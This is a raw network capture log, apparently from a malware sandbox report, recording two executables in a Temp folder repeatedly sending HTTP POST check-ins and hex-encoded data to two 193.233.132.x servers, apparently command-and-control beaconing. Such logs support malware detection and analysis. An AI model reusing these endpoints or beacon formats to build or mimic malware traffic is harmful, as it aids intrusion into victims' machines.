Apr 19, 2024 03:33:23.566711903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.5	50591	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:23.602813005 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:23.853837967 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.5	50592	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:23.816232920 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:24.064618111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.5	50593	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:24.098064899 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:24.343808889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.5	50594	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:24.435142040 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:24.687340021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.5	50595	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:24.696208000 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:24.943615913 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.5	50596	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:24.940733910 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:25.193413973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.5	50597	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:25.195815086 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:25.450737953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.5	50598	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:25.556252003 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:25.802186012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.5	50599	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:25.801143885 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:26.045135021 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.5	50600	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:26.054770947 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:26.307419062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.5	50601	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:26.296361923 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:26.546500921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.5	50602	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:26.662244081 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:26.906815052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.5	50603	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:26.899458885 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:27.149405956 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.5	50604	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:27.155600071 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:27.403345108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.5	50605	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:27.399296045 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:27.650108099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.5	50606	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:27.755814075 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:28.003319979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.5	50607	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:28.004874945 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:28.244998932 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.5	50608	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:28.254482985 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:28.504972935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.5	50609	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:28.491209030 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:28.739625931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.5	50610	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:28.868971109 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:29.119822025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.5	50611	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:29.099334955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:29.341481924 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.5	50612	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:29.377603054 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:29.632725000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.5	50613	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
